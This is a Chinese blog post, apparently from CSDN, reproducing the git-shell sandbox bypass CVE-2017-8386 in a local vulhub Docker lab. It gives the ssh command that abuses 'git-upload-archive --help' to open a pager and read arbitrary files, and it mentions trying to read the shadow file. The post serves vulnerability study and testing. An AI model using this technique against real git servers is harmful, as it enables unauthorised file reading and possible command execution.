GIT-SHELL 沙盒绕过(CVE-2017-8386)_黑白的博客-CSDN博客声明好好学习,天天向上漏洞描述GIT-SHELL 沙盒绕过(CVE-2017-8386)导致任意文件读取、可能的任意命令执行漏洞。影响范围复现过程使用vulhub/app/vulhub-master/git/CVE-2017-8386使用docker启动docker-compose builddocker-compose up -d先准备好id_rsa,这是ssh的私钥,作者已经帮我们准备好了,就在docker-compose文件一起的文件夹内,拷贝到kali中,执行下述命令chhttps://blog.csdn.net/zy15667076526/article/details/111414458
https://paper.seebug.org/309/https://paper.seebug.org/309/
开启环境
chmod 0600 id_rsa
正常连接其ssh服务ssh -p 3322 -i id_rsa git@127.0.0.1,会被git-shell给拦截,返回错误fatal: unrecognized command '',并且连接被关闭。
使用--help技巧,连接目标并进入帮助页面:
ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"
按shift+e,读取任意文件:
测了一下,本机是kali 系统,不能直接读取shadow文件。欢迎给位测试其他的系统



